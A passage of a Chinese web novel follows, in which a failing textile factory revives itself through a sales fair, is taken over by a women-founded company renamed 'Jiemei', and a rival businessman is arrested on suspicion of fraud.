好家伙,这有吃有喝有看的,赶上参加联欢会了! 苏厚德还忍不住跟孟知祥小声蛐蛐:“瞧瞧我孙女,这嘴皮子绝对随我了,贼利索!” 成功换来后者一个白眼。 最终,这场“辩论”以苏丽珍大获全胜结束。 等过几天,纺织二厂这边能撒开手了,苏丽珍就和两人一起回趟首都,把投资和转股手续办了。 现在可以说万事俱备,只看二厂这股“东风”能不能刮起来了。 一月十八号,腊月十二。 凤城市第一人民医院的外科病房外,纪厂长悄悄把走廊尽头的窗户推开一条缝,从身上披着的棉袄里摸出一根烟,点着抽了起来。 还有不到二十天过年,医院里这会儿人不多,走廊里静悄悄的。 纪厂长捏着烟,望着玻璃窗上成片的冰花,忍不住出起了神。 他住院已经一个多礼拜了,也不知道厂里现在是个啥样。 虽然这次遭了不少罪,但是打心里讲,他并不怪大伙儿。 当初要不是他贪图便宜,也不会误信了骗子,丢了买新设备的钱,叫厂子好不容易升起的那点盼头也没有了,还拖累了老上司安厂长那边。 想想这马上要过年了,厂里大伙儿的工资还都没个指望,都是有家有口的,换了是他,他也生气! 他心里惦记厂子那边,这几天,安厂长和厂里代表也来看过他好几次,可每次他一问,他们就说厂里头挺好,也有人负责接手处理,叫他不要操心,只安心养伤。 一回、两回的,他这心里就泛起了嘀咕。 咋就挺好?说是有人负责接手,那究竟是什么人呐? 总该不会还是那个姓李的家伙吧? 想到这儿,纪厂长自己先摇头,不可能,安厂长早就打听清楚这人底细了,再加上打从这人来,闹出的这一出出,件件都说明这人不不咋地,市里不会同意把厂子卖给这人的。 那是啥人接手呢? 难不成是市里又给他们批了资金,然后直接派了一个新厂长过来替代他? 想到这里,纪厂长嘴里便泛起淡淡苦涩。 其实也没啥不好,他接连犯错误,退位让贤是应该的,只要市里愿意再给他们批钱,让他们挺过这一关,咋样都好。 这时,一阵小风顺着敞开的窗缝吹进来,把他手里燃得起劲的烟灰连同火星一下吹散,烟灰落在手背上,烫的他一激灵,赶忙甩了甩手。 就在这时,身后冷不丁“嗷”的一嗓子:“好你个老纪,你敢在这儿抽烟!” 纪厂长吓一跳,赶忙把手里烟掐了。 “没有、没有,媳妇,我没抽!我就点着,闻闻味儿!” 纪厂长媳妇生气骂人:“你少忽悠我了!这么冷的天,你就穿这么点在走廊里乱晃!还抽烟,还开窗,我看你是真不想好了!” 纪厂长露出讨好的表情:“好、好,都是我的错,你别生气!” 纪厂长媳妇面色稍缓,板着脸训道:“还不赶紧给我回病房去!” 说着,不忘抬手去把窗户关严。 就在这时,一阵喜庆的喇叭声忽然顺着窗缝,飘进了两个人的耳朵。 “好消息、好消息!广大的市民朋友们,咱们凤城纺织二厂开展销会啦!” 第227章 纪厂长媳妇一愣,下意识看向自家爱人:“凤城纺织二厂,那不就是你们厂吗?你们啥时候弄了个展销会出来啊?” 纪厂长皱起了眉,示意对方先别说话,自己大步上前,一把把窗户全部打开,让那声音能更清晰地传进来。 “对,老少爷儿们,大娘大姐大妹子们,你们没听错!展销会、展销会,咱们凤城纺织二厂开纺织品展销会啦!” “咱们展销会上出售精品男装、女装、童装,还有床单、窗帘、门帘、沙发套、椅套、桌布、枕套等各种精美家居用品,价格都贼拉便宜!” “我们承诺,在别家买一样东西的钱,在咱们二厂展销会上能买两件!我们二厂秉持着‘价格最低,服务最优’的口号,在展会期间免费向大家提供改衣、熨烫、热水服务,包您在咱厂买的放心、买的舒心!” “展销会开始时间是一月十八号上午八点,前三十名完成结算的顾客还能得到一份咱们二厂赠送的精美礼品一份!名额有限,先到先得!” 纪厂长媳妇忍不住嘟囔道:“听着真挺像那么回事的,我都想去看看了……哎,一月十八号,那不就是今天嘛!” 纪厂长却一声不吭,绷着脸把窗户一关,二话不说扭头就走。 纪厂长媳妇直接愣住了:“老纪,你这是要上哪儿?” 纪厂长头也不回:“我得回趟厂子,看看究竟是咋回事!” 纪厂长媳妇一听直跺脚:“祖宗,你这伤还没好利索呢!” “哎呦,你倒是把衣服换了啊!冻着了可咋整!” 纪厂长回病房匆匆换了身衣裳,两口子出了医院就往二厂赶。 纪厂长心中急切,还想自己骑自行车走,叫他媳妇好说歹说,两人最终坐了公交车过去。 公交车晃晃悠悠,一路走、一路捡人,好容易到了地方,纪厂长火急火燎地往门口挤,纪厂长媳妇跟在后面又是着急、又是担心,两人因此都没发现这站下车的人特别多。 费劲巴力终于下了车,两人一抬头,直接愣住了! 好家伙,只见站点往前面二厂去的这二百来米路上,这会儿居然有这么多人! 人群有老、有少,女同志多,男同志也不少。大家三五成群,呼朋引伴,一路上嘻嘻哈哈、有说有笑,目标非常一致地往一个地方——纺织二厂走。 两口子被夹在人群里,耳边全是“展销会”“衣服”“床单子”“门帘子”这些字眼。 不知道的,还以为这帮人都已经把展销会逛完出来了呢! 纪厂长心中越发急切,默默加快了速度。 距离二厂大门几十米,纪厂长就差点被自家厂房门口上那一条条高高拉起的大红横幅闪瞎眼。 那一个个金黄的大字,隔得这么远都不妨碍他把它们一个个都认出来。 什么“热烈庆祝凤城市纺织二厂第一届展销会开幕!”“纺织二厂欢迎您!”,还有“全市最低价,二厂包您满意!”“免费改衣、熨烫,不买看看也行,我们给您提供热水。” 看到最后一句,纪厂长不由抽了抽嘴角。 他看了看四周涌动的人群,他们厂今年冬天就没怎么买煤,免费供应热水的话,这么多人,就算一人只喝一口,这耗费的煤钱也不是个小数目了…… 不过,话又说回t来,虽然他不知道是谁张罗的这个展销会,还有那些服装、家居品都是从哪儿来的,但是只看现在这么多人的架势,这展销会说不定收益不错。 那他们二厂做为办展销会的地点,估计也能挣一笔场地费、劳务费啥的。 现在钱难挣,蚊子再小也是肉,他可不嫌弃,反而觉得能想出把二厂租借出去换钱的人不错。非常时期行非常之事,这会儿也管不了那么多了,关键是创收啊。 此时的纪厂长压根没想到,先前那些大喇叭说的展会商品真的跟他们二厂有关,满心里只觉得是哪个聪明员工想出来的为单位创收的好办法。 等随着人群进了大门,进入开阔的厂子院内,不看中间那挤挤挨挨的人群,他一眼就注意到厂院两边各一溜的简易棚子。 棚子是用铁架、帆布搭的,上头用醒目的条幅标出棚子里售卖的商品。 他大体看了一下,分类很细致,真的跟那大喇叭喊的一样,有男装、女装、童装,各种家居用品,甚至还有洋娃娃、布偶、各色女同志用的布制发圈、发带。 别说,这东西还挺全! 因为每个棚子都人满为患,他站在外头,看了好一会儿也挤不上前。本想跟爱人说说,让她先过去逛逛,顺便看看卖的东西怎么样,他自己去后头厂子里找人问问,结果一转身,发现人早没影了。 他赶紧退回去找了找,嚯,只见他爱人不知道啥时候突破重重“人墙”,正拿着一件酒红色女士外套扯着脖子问人家售货员多少钱呢! 纪厂长:“……” 说好的不放心他头伤,要一直看着他的媳妇呢? 他摇了摇头,正准备抬脚就走,这时,棚子里售货员的声音忽然钻进他耳朵里,居然有点耳熟! 他赶忙凑过去,透过人群,努力辨认了一下。 还真是认识的,这不是他们织布车间的大宋吗? 他们二厂女工多,女同志凑在一起最喜欢东家长、西家短,好像整天有唠不完的嗑。这个大宋嘴皮子溜,尤其爱找人闲聊。 为这,他都说过她多少次了。 没想到,她居然出来卖货了! 也不知道谁给安排的……倒也合适。 他这么想着,下意识又往别的棚子里找,想看看还有没有别的二厂工人。 没想到,这一找可叫他发现了新大陆! 这两溜棚子里不管是卖货的,还是收款的,那有一个、算一个,居然都是他们二厂的。 “大姐啊,你就听我的,你不是说你爱人自己开车给人送货吗?你就买这套仿工装!你看这一套,料子结实耐磨,版型也好,穿着人贼利索,价格还便宜,穿坏了也不心疼!” 这是梳棉车间的小张,旁边收钱的是同车间的小孙。 “大爷,您看您孙子要是六岁的话,穿这套童装正合适,孩子长得快,大点正好多穿两年!您看看咱这衣服,那是我们请首都的大学生设计的样式,全凤城头一份,咱凤城第一服装厂还学我们呢!” 这是细纱车间的小李,一旁打下手的是印染车间的小王 “马上过年了,大娘,你买个咱们的百福门帘回去,把旧的换下去,这叫新年新气象嘛!” “嗐,大娘,这不是碎布拼的,我跟您说啊,这是咱们学的外国的新式花样,这叫艺术拼布!要做这么一块布料,那费老鼻子事了,这也就是咱们回馈咱凤城的广大父老乡亲,要是在别的地方,这个价,您老也就能买一块布角(jia)!” 这是原来跑业务的大刘和他爱人工会的小钱! 看完这一圈,纪厂长彻底懵了,他觉得事情跟他想的有点不太一样,他现在迫切需要找个人把这一切都弄明白! 可是找谁呢!这里他认识的,现在都忙成一团,商品一件件卖,钞票一张张收,他是真不好意思上前打扰。 算了,还是按计划先去后面车间看看。 这么想着,他抬脚就往车间走。 经过门楼收发室的时候,忽听有人一嗓子喊道:“哎,那位同志,厂房重地,闲人免进啊!要是想喝热水直接上这儿来!” 纪厂长脚步一顿,往收发室里一瞅,只见里面白气蒸腾,靠门边摆了一溜暖水壶,厂办赵主任正带着办公室的两个办事员用收发室的小炉子一壶壶烧开水呢! 屋子里气儿太足,赵主任先前也没认出来人是谁,见这人被自己喊住了就原地不动弹,以为对方抹不开,便出屋准备亲自请人进来。 没想到,等一出来,看清了来人,他直接“哎呦”了一声:“纪厂长,你咋回来了?” “你这伤好了吗?我们上次去看您,医院不是让您最少住两个星期院吗?你咋现在就出来了?您快跟我进屋,别再冻坏了!” 赵主任一开口就是一连串问题,不等纪厂长回答,他又忙不迭交代一个办事员:“小徐啊,你去后头找安厂长,就说纪厂长回来了!” 纪厂长被他一把拉进屋子里,紧接着就是一顿嘘寒问暖。 纪厂长被老同事这样关心,就算心里急切,也还是认真回答了。 赵主任一听说他是自己跑出来的,压根不是正式出院,顿时急了,不由分说就要送他回医院。 纪厂长安抚了半天,好不容易等他相信自己真没啥事了,他终于忍不住问出了一直憋在心里的问题。 “老赵啊,你先别管我了,你快跟我说说,这外头这展销会是哪个单位开的?咋还用咱厂的工人当售货员呢?” 一说这个,赵主任瞬间激动地两眼放光,使劲拍着大腿道:“厂长,这展销会就是咱二厂开的啊!那卖的也是咱自家生产的东西,不用咱自己的工人用谁啊!” 纪厂长整个人都震惊了! “你说啥?老赵,这可不行开玩笑啊!你说外面那是咱自己开的展销会?还有那些东西也是咱自己生产的?这咋可能呢!” 赵主任拼命点头:“就是这回事啊,我的厂长!那些东西、包括这展销会,都是咱二厂的!” 纪厂长此刻只觉的头又开始晕了,实在难以置信,只能抓着人反复确认:“你说真的?不是在忽悠人?” “哈哈,是真的、是真的!老纪啊,我告诉你,你看到、听到的都是真的,你们二厂这回有救啦!” 收发室的门开了又关,纪厂长一抬头,见到他的老上级安厂长红光满面地走了进来,身后还跟着两个气质出众的年轻姑娘。 安厂长一进来,先是把纪厂长上下打量了一遍,确定他没啥大问题,这才笑呵呵道:“老纪啊,眼见为实嘛。待会儿你就跟我去车间走一圈,你就知道那前面展销会上的东西都是咋来的了!” “不过啊,在这之前,我得先给你重点介绍几个人,人家才是你和你们二厂真正的大贵人!” 夜幕降临,白日展销会的热闹喧嚣散去,厂院重新归于平静。 明明已经过了下班的时间,但纺织二厂的工人们却一个都没走,大家自发地站在收发室、前厅、走廊、楼梯等空地,一个个时不时探头往二楼财务室的方向瞄一眼。 等的时间长了,便有人开始小声议论起来。 “啥时候能算完啊?我这心里可惦记着了!也不知道这回能不能挣到钱!” “肯定能啊!小陈说看见宋姐他们往回送了好几次钱,那么老大一个兜子,塞得鼓鼓囊囊的!” “对、对,还有去下面县城卖工装的,下午四点钟回来的时候,一个个都满脸带笑,身上的包也沉甸甸的,看着可不轻呢!” “真好啊,挣到钱,咱们厂子就有救了,说不定厂子就不用卖了!” “卖了也没啥不好,只要买的人靠谱,能让咱们挣到钱,我反正是乐意的!我跟你们说,那位小苏总就是‘珍珍’的大老板,可能耐了。我邻居的表姐的大姑子就在‘珍珍’上班,听说她手里还有一家建筑公司,两家公司里最普通的工人一个月都能挣这个数!” 说话的人朝大家比了个数字,立马换来一阵抽气声! “要是咱厂子能卖给这位苏总,那我觉得也挺好……” “我也是!” 这时有人吆喝一声:“哎,你们几个小点声,别把楼上惊动了,这正是关键时候呢!” 走廊很快又重回安静。 二楼的财务室里t此刻坐了不少人,但是谁也没出声,屋里只有一阵阵噼里啪啦扒拉算盘的声音。 陈红梅一手拨算盘的功夫看呆了刘思彤和万美君,两人这会儿眼珠子都恨不得随着她的手指上下翻飞。 二厂这边,财务室的老主任亲自出马,算盘同样拨的又快又稳。 两人几乎是同一时间停下,原本在座位上几乎像是入定一般的安厂长见状,立马跳了起来。 “算出来了?有多少?” 陈红梅和老主任相视一笑,然后将各自的算盘往前轻轻一推,两边一对照,赫然是一组一模一样的数字。 老主任脸上的笑意更浓:“安厂长、纪厂长,今天一天咱们的销售额是36785.5元!” “多少?三万六千多?”安厂长激动的声音都劈了叉。 屋子里先是一静,接着二厂的人全都兴奋地欢呼起来! “三万六千多!” “天啊,居然有这么多!” 三万六千多,这比他们厂工人一个月的工资还高,他们怎么能不激动! 苏丽珍几个受气氛感染,也跟着鼓掌庆贺。 屋里的动静传到外面,外面一阵骚动,安厂长赶紧让厂办赵主任出去了一趟。紧接着,走廊里也跟着爆发出雷鸣般的欢呼声。 第228章 老主任等大家的情绪稳定了一下,马上又宣布了第二个喜讯。 “两位领导,今天的销售额,刨去成本,咱们净收益达到了一万六千元!” “这么多!” 安厂长几人再次吃了一惊,可随即一想,之前他们的布料降到四毛五一尺,还不好卖,可这已经近乎是成本价了,就算卖的出去也是亏本。 如今做成成衣,以他们厂常规的1.45米幅宽的布料来算,一件男士冬季厚外套大概需要4.5尺布,女士3.9尺,材料成本仅在1.76元到2.1元之间。 一件冬季女士外套在商场里售价大约在22~30元,如果是南方过来的新款式,售价还会再高10元以上。 男装价格更贵。 而他们今天卖的衣服,女装一件只要15元,男装17元,不跟商场比,只看他们自己,去掉人工等乱七八糟的成本,也就是说,只要成功卖出一件衣服,他们怎么也能挣个八、九块钱。 也难怪会有这么高的利润了, 赵主任忍不住感叹道:“想不到这做服装利润这么高,那这些服装企业是不是只要能把东西卖出去,就不至于亏本了?” 这可是接近45%的净利润啊,要不是亲眼看见,谁能相信? 安厂长却笑呵呵摆手:“账不是这么算的。你们这属于是自产自销,连最后对外零售都是自家人,几乎每个环节的成本都压到了最低。” “可你要知道,服装厂从最初在纺织厂里拿货,就已经比你们多了一笔成本,之后运输、销售、商场提点,乱七八糟的费用加起来也不少,最后真不定能挣多少钱。” “还有一点,你忘了,今天卖出去的商品,服装只占了一半,还有一部分是那些成本更低的家纺产品!” 赵主任一拍脑门,还真是差点把这个忘了! 吕总带人手把手教大家学会的那些拼布家居用品,原料有一半甚至用的都是做服装剩下来的边角料! 成本低,卖的却好,也不知道人吕总的脑袋是咋长的,一堆乱糟糟的碎布拼一起,愣是有一种说不出来的调调,咋看咋得劲儿,也难怪卖得好。 更绝的是,连那些拼布之后余下的废料也能用,可以塞布娃娃、玩偶,做头花、发圈!反正在他们眼里垃圾一样的碎布废料,哪怕只是手指宽的一条,愣是在人家指点下做成了花,最后直接破烂变好物,转头又卖个好价钱! 真是不服不行啊! 屋里其他人也是这个想法,而且眼见着做服装、家纺这么挣钱,大家心里都像长了草,一个主管生产的车间主任忍不住试探道:“两位厂长、吕总、苏总,那咱们厂子以后干脆就走这自产自销的路子,能不能行?” 安厂长和几位厂领导下意识看向苏丽珍和吕新芳。 苏丽珍没吱声,只是把信赖和鼓励的目光投向后者。 管明月等人也都一一跟上。 吕新芳看着始终坚定站在自己身边的好友,和二厂众人期待的眼神,握了握双拳,露出自信又肯定的微笑:“我觉得可以!” 以前是她和明月既没有资金、也没有人脉,连那些跑通了市场的倒爷都争不过,有再多想法也只是给别人做嫁衣。 现在不一样了,她有了“芳月”和即将收购的二厂,还有一直支持自己的朋友,她有这个底气去挣一挣! 得到吕新芳的确认,屋里众人再次爆发出欢呼声。 这时,一直没怎么说话的纪厂长忽然走到吕新芳和苏丽珍几人面前,深深鞠了一躬。 几人吓一跳,赶忙避开:“纪厂长,您这是干什么!” 纪厂长鞠了躬,再直起身时,眼圈已经通红:“谢谢你们……” “谢谢!” 直到此刻,他才确信他今天一天看到的、听到的都是真实的,这不是做梦,他们二厂真的有活路了! 纪厂长几度哽咽,几乎说不出来别的话,只能反复说着谢谢。 其他人见了也忍不住心中酸涩。 安厂长上前拍了拍纪厂长的肩膀,温声劝道:“老纪,别这样,你这身体还没好,可不能太激动!厂子见好了,今后你的事情还多呢,你得先保重身体啊!” 安厂长说完,又略觉心虚,赶忙瞄了眼吕新芳,见她没露出不满的神情,这才松了口气。 其他人也纷纷劝道:“是啊,纪厂长,您得注意身体!” 只是没人再提安厂长那最后一句话了。 大家心里明白,到了这会儿,厂子卖掉是板上钉钉的事,如果说其他人还有大半的机率留下,之前接连犯错的纪厂长就悬了。 虽然纪厂长没把厂子带好,但不可否认,他还是一位十分认真负责的厂领导,大家伙儿嘴上不说,其实还是很信服他的。 如今看他这样,他们心里也不落忍,怕他听了多心,干脆就不提了。 吕新芳自然看出众人的心思。 她这段时间在二厂走动,可不是只带人指导大家学技术,她也了解了很多关于厂里的事。 就拿这位纪厂长来说,风评其实很好。在她看来,这人只是不擅长经营,倒是主抓生产的一把好手,以后留在厂子里可以专管车间生产。 她心里早有了决定,这会儿也不吝给对方吃一个“定心丸”。 于是,她也点头附和众人道:“是啊,大家说的对,纪厂长您一定要尽快养好身体,二厂确实需要您,我相信大伙儿都等着您早点回来,咱们一起为二厂添砖加瓦。” 安厂长等人听完,顿觉十分惊喜。 吕新芳话说的很明白,纪厂长能留下了! 纪厂长一时间感动又惭愧,忍不住再次给吕新芳鞠了一个躬,又给屋里包括安厂长在内的所有人也鞠了一躬。 “谢谢、谢谢吕总,谢谢大伙儿……” 苏丽珍几人相视一笑,在吕新芳看过来的时候,都悄悄向她比了下大拇指。 就在这时,门口响起一阵“叩叩”的敲门声。 一个穿着白褂子、系着围裙的师傅站在门口小心翼翼道:“各位领导,我看工人们都回厂子里加班去了。我就想来问问,咱这食堂今晚还供应不?” 一听工人们自愿回去加班,纪厂长有些激动道:“供!咋地也得让大伙儿吃饱了再干活啊!” 说完又怕不妥,忙看向吕新芳:“吕总,您看呢?” 吕新芳点头:“纪厂长说的对。这位大师傅,那就麻烦你多费心,给大家操持一顿晚饭。今晚先将就着,饭菜差点没关系,但务必得让大家吃饱。等这两天忙完了,咱们再摆庆功宴!” “好嘞!”大师傅痛快地应了一声,“领导们放心,这都是我应该做的,我保证叫大伙儿都吃得饱饱的!” 这天晚上,212寝室的六人也在二厂食堂吃的晚饭。 饭菜很简单:白菜汤,二合面馒头。 吃饭的时候,管明月搞怪,高举起手里的汤碗,煞有其事道:“姐妹们,咱们敬芳姐!” 其他人笑作一团,也配合着举起了碗,齐声道:“敬芳姐!” 吕新芳好笑又无奈地看着几人,心里却涨满浓浓的幸福。 最后,她也举起手里的汤碗:“那我也来,敬姐妹!” “对,敬姐妹!” 这一刻,寡淡的白菜汤却充满了别样的美味。 之后接连两天,纺织二t厂的展销会都延续着第一天的盛况,销售额节节攀升。 到了第四天的时候,更是达到了空前的火爆程度! 因为这一天,苏丽珍拜托《凤城日报》总编李孟儒亲自出马,发表了一篇有关二厂及这次展销会的特别报道。 文章先是描述了这场开在“自家门口”的展销会的热闹场面,然后通过对一位既担任展销会售货员、同时也是二厂一名普通工人的女同志进行采访,引出了纺织二厂全体上下如何努力自救的故事。 随着采访对象的讲述,文章向大家细数了近几年二厂面临的重重困境,由此更对比出二厂人面对时代难题,能够临危不乱,勇于拼搏自救,是真正值得歌颂、也值得所有人学习的楷模。 文章最后同样盛赞了广大的凤城市人民,称正是来自本地老乡们的支持和鼓励,才有了二厂这次展销会的客似云来,从而让他们成功打了一个翻身仗! 李孟儒的笔触朴实、细腻,有一种骨子里的亲切跃然纸上,阅读者会不知不觉被他带动,情绪随着他的笔尖游走。 这篇文章成功把凤城人的目光聚焦在纺织二厂,更因为李孟儒笔下那一句“来自老乡们的支持和鼓励”,激发了大家前所未有的热情。 “老乡当然要帮老乡!” 这是看了这篇报道后,所有凤城本地人的心声! 同样是花钱买东西,二厂展销会上的商品便宜又好看,而且每花一分钱,就等于是在帮二厂这个遭遇了困难的厂子扭亏为盈,这么有意义的事,他们当然要干! 由此,二厂展销会当天的销售情况直接“引爆”! 坚持提早出院的纪厂长,今天是前头展会和后头车间两头跑,眼瞅着库房里原本塞得满满登登的积压布料一匹匹消失,又在工人们快要踩冒烟的缝纫机下变成一件件漂亮的商品,最后换成一张张钞票,他激动的两只眼发红。 还是安厂长看不过去,给他灌了一杯凉白开,总算让人冷静了下来。 冷静下来后,纪厂长理智开始恢复,马上拉着安厂长道:“老领导,我们厂积压的布料都用完了,我看这势头,前头还能卖出去不少东西,干脆把你厂里那些同样不好卖的料子拉过来,也帮你们清清库存。” 安厂长闻言翻了个白眼:“人家苏总和吕总早想到了,今儿一早就去我那边装车,这会儿估计都该回来了!” 纪厂长一听已经安排完了,顿时露出不好意思的神情:“怪我,脑子转的慢,才想起来!” 安厂长知道他就是太高兴了,一时想不到也正常,倒是没多心。 又见他脑袋上光秃秃的,明明之前受了伤,这大冷天却连顶帽子都不戴,他只得一脸心疼地把自己头上崭新的獭兔毛雷锋帽摘下来,扣在对方头上。 “我告诉你,小心点戴,别给我整埋汰了,我珍珍大侄女特地送我的,我才戴一天呢!” 纪厂长摸着头上软乎乎的兔毛,露出了一个傻笑。 安厂长简直不忍直视,干脆不看他。 转头看着外头火爆的销售场面,他心底也跟着充满信心。 二厂有救了,还连带一厂也借上了光。 今后有了二厂改革的经验,相信他的一厂也一定能顺利度过危机,重振雄风。 二厂的展销会一连举办了七天,七天内的销售额一天比一天高,纪厂长等一众二厂领导天天笑容满面。 要不是苏丽珍和吕新芳都坚持展销会不该开的过久,以免过度消耗大家热情,影响今后其他活动效果,他们恨不得天天开、月月开! 在确定了二厂这边暂时能丢开手后,苏丽珍、吕新芳和管明月三人匆匆回到首都,办理“芳月”公司的股份和投资事宜。 因为托了熟人,流程处理的很快,按照之前三人协商的结果,管明月将名下40%的股份分别转给吕新芳10%,“筑梦”公司30%。 在此之前,“筑梦”公司已经在苏丽珍的一力坚持下重新进行了股权分配。现在“筑梦”的最大股东是丁大勇,持股68%,苏丽珍30%,薛老爷子2%。 同时,苏丽珍还以个人名义投资了“芳月”公司一大笔资金,且一如她之前坚持的,这笔资金她只拿年底分红,不参与股权分配和公司管理,所以吕新芳依然是“芳月”最大的股东和实际控制人。 第229章 理顺了“芳月”这边的股权、资金,三人又马不停蹄赶回凤城,准备一鼓作气,在年前把纺织二厂的事解决。 纺织二厂在展销会结束后,“芳月”第一时间向凤城市政府递交了收购申请,并在二厂召开了全体职工大会。 市里也派了代表来参加这次会议。 会上,全体员工一致表决,同意由“芳月”布艺制品有限公司收购纺织二厂。 “芳月”出资,一次性认购纺织二厂65%的股份,二厂的职工们集体认购剩余35%的股份。 自此,属于“纺织二厂”的时代彻底结束。 新诞生的厂子还未命名,大家都很好奇吕新芳会给新厂子取什么名,是不是还打算沿用“芳月”这个名字。 直到新的公司牌匾做好,纪厂长亲自带人挂上去。 吕新芳上前一把将匾上蒙着的红布揭掉,露出上面崭新的名字——姐妹纺织服饰有限公司。 看着那行闪亮的大字,苏丽珍几人笑得特别开心! 去工商局拿“姐妹”公司的新营业执照那天正好是北方小年,姐妹几个起的特别早。 大家说好了,新执照下来的时候,大家要抱着这张执照在“姐妹”公司前照一张合影,然后陈红梅、刘思彤和万美君就要先回家了! 苏丽珍开车,几个人挤在一辆吉普车里,暖暖和和地出发了。 拿到营业执照后,姐妹六人迫不及待地互相传看了一圈,都开心的不得了。 万美君忍不住道:“不知道为啥,我一看到‘姐妹’这两个字,就想到咱们六个,这厂子就像咱们共同的孩子一样!” 吕新芳笑道:“没错啊,这名字确实代表咱们姐妹六人。至于说这厂子是咱们共同的孩子,就更应该如此了,如果没有你们,怎么会有她的新生呢!” 大家听了心里越发暖洋洋。 就在这时,一道陌生的声音在几人身后突兀地响起:“请问是苏小姐吗?” 几个女孩回头,见身后不知道什么时候来了四、五个人,俱是一身西装革履,派头十足。 说话的正是打头一个穿一身白西装、四十来岁的中年男人。 还不等她们搞清楚这一行人什么来头,就发现那中年男人一双眼睛正大剌剌地盯着苏丽珍瞧,眼神中带着明晃晃的打量,吕新芳等人不由蹙起了眉。 管明月更是直接侧过身,把苏丽珍半挡在身后。 见她们如此,男人不由笑了笑:“请几位小姐不要误会,容我先自我介绍一下,鄙人李明翰,或许苏小姐应该在近期的凤城报纸上看过关于我的报道。我是一个商人,目前在米国、香江,还有你们内陆的特区、苏杭一带都有我的产业。” “我本家是专做纺织品行业的,我个人呢,则是兴趣更广泛一些,基本上赚钱的行业,我都有兴趣。” “今天碰巧偶遇苏小姐,李某发现苏小姐果然跟报纸上刊登的一样,才貌兼备,美丽动人,让李某很是倾慕,所以忍不住过来想跟苏小姐认识一下。” 这番轻慢又优越感十足的话把几人听得直恶心,管明月更是憋不住,率先开轰:“李先生,是吧?我劝你,要是真想挣国内的钱,你就好好学学中文,别不知道从哪个犄角旮旯学来几句烂词儿就拿出来用,丢人现眼都不知道!” 李明翰笑容微敛,越过管明月,直直看向苏丽珍:“苏小姐,我建议你还是注意一下交友情况,以你如今的身份地位,什么人都结交只会降低你的格调。” 苏丽珍冷冷道:“我的朋友们很好,她们都十分优秀,能跟她们做朋友,是我的幸运。李先生还是管好自己吧,你仗着有钱有势就不把别人放在眼里的样子,同样很没格调。” 李明翰脸上闪过一抹不悦,但他旋即露出一个看似无奈的笑容,故作绅士道:“苏小姐还真是厉害,难怪能这么快把纺织二厂收入囊中。” 吕新芳立时要说话,却被苏丽珍t悄悄握住手掌,后者不动声色地轻捏了下她掌心,示意她不必开口。 对面李明翰还在侃侃而谈:“我想我们之间可能有一点误会,大概是一些陈年旧事,或是某些自己没本事、却嫉贤妒能的人对苏小姐说过什么,以至于苏小姐内心对我产生了误会。” “其实有些事我们完全可以坐下来好好聊一聊,毕竟我这个人还是很大度的,就算此前苏小姐你破坏了我的计划,但就我个人而言,还是很欣赏苏小姐的,也十分期待能成为苏小姐的朋友。” 苏丽珍见他还有脸在自己的面前指桑骂槐,心中愤怒,不由冷笑一声:“成为朋友?什么样的朋友?” 她不等对面李明翰说话,兀自冰冷道:“不能给你带来利益,不能把自己的家底儿双手奉上、顺便让你敲骨吸髓,然后再反过来对你感恩戴德,是不是在你眼里都不算是合格的朋友?” 李明翰脸上的笑终于维持不下去了。 他眯起眼睛,语气森冷:“苏小姐别太过分了!我一直表现出诚意拳拳的样子,可苏小姐不但不领情,还屡次出言中伤,你未免太不把我李某放在眼里了!” 苏丽珍嗤笑一声:“怎么?被我揭了老底儿,恼羞成怒了?” 李明翰阴沉沉地盯着她:“苏小姐,请你慎言,当心祸从口出!” 见他还威胁上了,管明月几个再按耐不住,正要指着鼻子骂人,却被苏丽珍一把拦住。 她将人拦在自己身后,不闪不避地直视对方:“你不用在这儿吓唬人,你的手段我苏丽珍早见识过了。无非就是那么几样:里挑外拨,造谣诬陷,搞舆论战抹黑孤立。” “老鼠就是老鼠,一辈子的手段都突破不了下水道的界限,半点见不得光。我今天既然敢说,就做好了接招的准备。姓李的,你记住,有本事冲我来,我不会让你伤害任何人!” 李明翰的脸肉眼可见地抽动了几下,显然是真被苏丽珍气着了。 “苏小姐,我劝你……” “李先生,我劝你少说话。”另一道男声冷不丁响起,众人循声看去,居然是沈瑞来了! 沈瑞不是一个人,他身后还跟着苏丽珍小一年没见的周明义,后者见她看过来,正不老实地朝她眨了眨眼睛。 沈瑞走到李明翰面前,无视他瞬间难看的脸色,径自道:“李先生,请你记住,这里是大陆,不是米国、也不是香江,这不是你可以为所欲为的地方。如果你做不到安分守己,我不介意让你好好熟悉一下这里的规则。” 李明翰怒极反笑,见沈瑞挡在他和苏丽珍之间,一副维护后者的姿态,他的目光不禁在两人身上打了个转,很快露出嘲讽的表情。 “看不出,原来沈公子今天是来英雄救美来了。真是好笑,想不到金尊玉贵的沈家三公子居然好这一口!啧啧,东北的小土妞,你倒是不挑!” 这话说的太难听,一直跟苏丽珍眨眼睛玩闹的周明义立时听不下去了,指着对方骂道:“喂,姓李的,你放的什么臭屁!” 沈瑞却示意他不必多说,他看着李明翰,淡淡道:“李先生,该说的,我都已经说了。你与其在这里跟我们做这些无谓的口舌之争,倒不如多保存些精力,留到真正需要的场合。” 李明翰面色微变:“姓沈的,你这话什么意思!” 结果他话音刚落,两个带着大盖帽的公安就肃着脸走了过来。 “请问,你们哪位是李明翰?” “我们接到特区公安的联合调查申请,现在怀疑你跟一宗骗取国有资金的跨国诈骗案有关,请你跟我们走一趟吧!” 李明翰立即转头,恶狠狠瞪向沈瑞,那眼神恨不得生吞活剥了他。 沈瑞却看也不看他,只侧头看了眼身边的周明义,后者会意,立马举起胸前挂着的照相机,找好角度,对着被公安押走、神情狼狈的李明翰“咔嚓”一声,按下了快门。 李明翰带来的保镖和司机立时都麻了爪,手忙脚乱地不知道该怎么办,最后只能灰溜溜地追着自家老板屁股后跑了。 周明义同样把这一幕拍下来。 等彻底看不到几人的身影,他才美滋滋地拍了拍相机:“齐活儿!等这几张照片往他姓李的老窝米国、香江啥的一发,晓得这孙子牵扯进跨国案子,保证这孙子的公司股票都给他跌停了!” 苏丽珍忍不住看向沈瑞:“沈大哥,这究竟是怎么回事?李明翰真的参与诈骗案了吗?” 沈瑞点头:“是真的。只不过他本人谨慎,不会轻易沾这些,都是另外指使别人用这些下/三/滥的手段对付竞争对手。” 苏丽珍脑子一转,李明翰有哪些竞争对手,她不是很清楚,不过她倒是很快想起当初纺织二厂被人骗走的那一笔设备资金,据说骗子就是两个香江人。 她下意识脱口道:“难不成当初纺织二厂被骗的事也是他安排的?” 